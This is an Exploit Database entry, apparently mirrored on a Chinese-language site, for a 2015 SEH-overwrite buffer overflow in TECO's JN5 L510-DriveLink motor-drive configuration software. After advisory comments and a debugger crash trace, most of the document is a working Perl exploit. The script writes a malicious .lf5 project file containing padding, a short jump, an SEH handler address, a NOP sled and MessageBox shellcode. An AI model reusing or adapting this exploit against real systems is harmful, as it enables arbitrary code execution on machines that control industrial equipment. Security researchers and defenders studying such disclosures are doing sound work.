TECO JN5 L510-DriveLink 1.482 – ‘.lf5’ Overwrite Buffer Overflow (SEH)

• Exploit Database
• 40 阅读

• 作者： LiquidWorm
  日期： 2015-11-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38704/

• #!/usr/bin/perl
  #
  #
  # TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit
  #
  #
  # Vendor: TECO Electric and Machinery Co., Ltd.
  # Product web page: http://www.teco-group.eu
  # Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
  # Affected version: 1.482 and 1.462
  #
  # Summary: JN5 DriveLink is a free program that enables you to
  # configure the AC Motor Drive, 510 Series PC-Link. It provides
  # support for sleep and fire modes favourable for pumps, fans,
  # compressors, and HVAC and communication network protocol of
  # Modbus/ BACnet/ Metasys N2.
  #
  # Desc: The vulnerability is caused due to a boundary error in the
  # processing of a project file, which can be exploited to cause a
  # buffer overflow when a user opens e.g. a specially crafted .LF5 file.
  # Successful exploitation could allow execution of arbitrary code on
  # the affected machine.
  #
  # ---------------------------------------------------------------------------------
  # (14c0.12ec): Access violation - code c0000005 (first chance)
  # First chance exceptions are reported before any exception handling.
  # This exception may be expected and handled.
  # *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Windows\system32\MFC42.DLL - 
  # *** WARNING: Unable to verify checksum for C:\Program Files (x86)\TECO\JN5 DriveLink\L510-DriveLink\L510-DriveLink.exe
  # *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\TECO\JN5 DriveLink\L510-DriveLink\L510-DriveLink.exe
  # eax=000026a0 ebx=0018f430 ecx=41414141 edx=00000001 esi=0018f408 edi=ffffd961
  # eip=70735d7e esp=0018f350 ebp=0018f364 iopl=0 nv up ei ng nz na po nc
  # cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00210282
  # MFC42!Ordinal2740+0xaa:
  # 70735d7e 8b01mov eax,dword ptr [ecx]ds:002b:41414141=????????
  # 0:000> !exchain
  # 0018f3e4: 41414141
  # Invalid exception stack at 41414141
  # ---------------------------------------------------------------------------------
  #
  # Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
  #Microsoft Windows 7 Ultimate SP1 (EN) 64bit
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # @zeroscience
  #
  #
  # Advisory ID: ZSL-2015-5279
  # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5279.php
  #
  #
  # 09.10.2015]
  #
  
  
  my $header = "\x04\x00\x00\x00\x0A\x00\x00\x00\x4C\x35\x31\x30\x2D\x31".
   "\x50\x32\x2D\x48\x0E\x00\x00\x00\x14\x00\x00\x00\x01\x00";
  
  # 113 bytes MessageBox shellcode
  my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
   "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
   "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
   "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
   "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
   "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64".
   "\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe".
   "\x49\x0b\x31\xc0\x51\x50\xff\xd7";
  
  my $buffer = "A" x 43 . "\xEB\x06\x90\x90" . "\xB0\x5D\x40\x00" . "\x90" x 16 . $sc . "\x90" x 20 . "D" x 2627;
  
  my $file = "Gaming Nerdz.lf5";
  my $junk = $header.$buffer;
  open($FILE,">$file");
  print $FILE "$junk";
  close($FILE);
  print "Malicious LF5 file created successfully!\n";